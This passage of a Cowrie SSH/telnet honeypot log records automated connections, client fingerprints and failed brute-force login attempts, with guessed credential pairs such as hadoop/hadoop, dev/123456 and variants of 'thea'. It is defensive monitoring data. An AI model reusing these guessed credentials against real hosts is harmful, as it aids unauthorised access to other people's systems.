0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:32.406311Z","src_ip":"176.65.132.129","session":"4504b5de77ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:32.655433Z","src_ip":"176.65.132.129","session":"4504b5de77ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:33.741229Z","src_ip":"176.65.132.129","session":"4504b5de77ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.75541663169861,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:34.226399Z","src_ip":"45.58.127.90","session":"e7b38f26a5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47942,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed8e952db84","protocol":"ssh","message":"New connection: 176.65.132.129:47942 (159.203.135.109:22) [session: 4ed8e952db84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:35.761553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:35.766315Z","src_ip":"176.65.132.129","session":"4ed8e952db84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:35.848432Z","src_ip":"176.65.132.129","session":"4ed8e952db84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:36.095878Z","src_ip":"176.65.132.129","session":"4ed8e952db84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:37.180459Z","src_ip":"176.65.132.129","session":"4ed8e952db84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.930697441101074,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:38.618750Z","src_ip":"45.58.127.90","session":"13397ab6a090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47956,"dst_ip":"159.203.135.109","dst_port":22,"session":"631726293c0a","protocol":"ssh","message":"New connection: 176.65.132.129:47956 (159.203.135.109:22) [session: 631726293c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:39.220055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:39.224549Z","src_ip":"176.65.132.129","session":"631726293c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:39.306890Z","src_ip":"176.65.132.129","session":"631726293c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:39.554368Z","src_ip":"176.65.132.129","session":"631726293c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:40.640675Z","src_ip":"176.65.132.129","session":"631726293c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47592,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8abd2ed3d77","protocol":"telnet","message":"New connection: 45.58.127.90:47592 (10.17.0.5:23) [session: c8abd2ed3d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:42.465429Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47972,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5a1428df1b","protocol":"ssh","message":"New connection: 176.65.132.129:47972 (159.203.135.109:22) [session: 9b5a1428df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:42.919354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:42.924033Z","src_ip":"176.65.132.129","session":"9b5a1428df1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:43.006051Z","src_ip":"176.65.132.129","session":"9b5a1428df1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:43.253812Z","src_ip":"176.65.132.129","session":"9b5a1428df1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:44.337857Z","src_ip":"176.65.132.129","session":"9b5a1428df1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"05466a3f4aef","protocol":"telnet","message":"New connection: 45.58.127.90:47614 (10.17.0.5:23) [session: 05466a3f4aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:45.305516Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d568cabaa63","protocol":"telnet","message":"New connection: 45.58.127.90:47630 (10.17.0.5:23) [session: 5d568cabaa63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:45.904098Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37220,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c3a7d16a94","protocol":"ssh","message":"New connection: 176.65.132.129:37220 (159.203.135.109:22) [session: c0c3a7d16a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:46.348190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:46.353252Z","src_ip":"176.65.132.129","session":"c0c3a7d16a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:46.435167Z","src_ip":"176.65.132.129","session":"c0c3a7d16a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:46.682324Z","src_ip":"176.65.132.129","session":"c0c3a7d16a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:47.767949Z","src_ip":"176.65.132.129","session":"c0c3a7d16a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32281,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c6e7b9926e2","protocol":"ssh","message":"New connection: 213.209.159.56:32281 (10.17.0.5:22) [session: 0c6e7b9926e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.330576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.338114Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.420208Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee24ae5fc54","protocol":"ssh","message":"New connection: 176.65.132.129:37228 (159.203.135.109:22) [session: fee24ae5fc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.730590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.735542Z","src_ip":"176.65.132.129","session":"fee24ae5fc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.817400Z","src_ip":"176.65.132.129","session":"fee24ae5fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea","message":"login attempt [thea/thea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:49.825066Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:50.092396Z","src_ip":"176.65.132.129","session":"fee24ae5fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea1","message":"login attempt [thea/thea1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:50.909903Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:51.176302Z","src_ip":"176.65.132.129","session":"fee24ae5fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea123","message":"login attempt [thea/thea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:51.994618Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea1234","message":"login attempt [thea/thea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:53.080458Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37242,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5bc330e81b4","protocol":"ssh","message":"New connection: 176.65.132.129:37242 (159.203.135.109:22) [session: f5bc330e81b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:53.349562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:53.354292Z","src_ip":"176.65.132.129","session":"f5bc330e81b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:53.436339Z","src_ip":"176.65.132.129","session":"f5bc330e81b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:53.682485Z","src_ip":"176.65.132.129","session":"f5bc330e81b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea12345","message":"login attempt [thea/thea12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:54.165792Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:54.767637Z","src_ip":"176.65.132.129","session":"f5bc330e81b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:55.250546Z","src_ip":"213.209.159.56","session":"0c6e7b9926e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44186,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3cc32797b7","protocol":"ssh","message":"New connection: 176.65.132.129:44186 (159.203.135.109:22) [session: ed3cc32797b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:56.830921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:56.840120Z","src_ip":"176.65.132.129","session":"ed3cc32797b7","protocol":"ssh"}
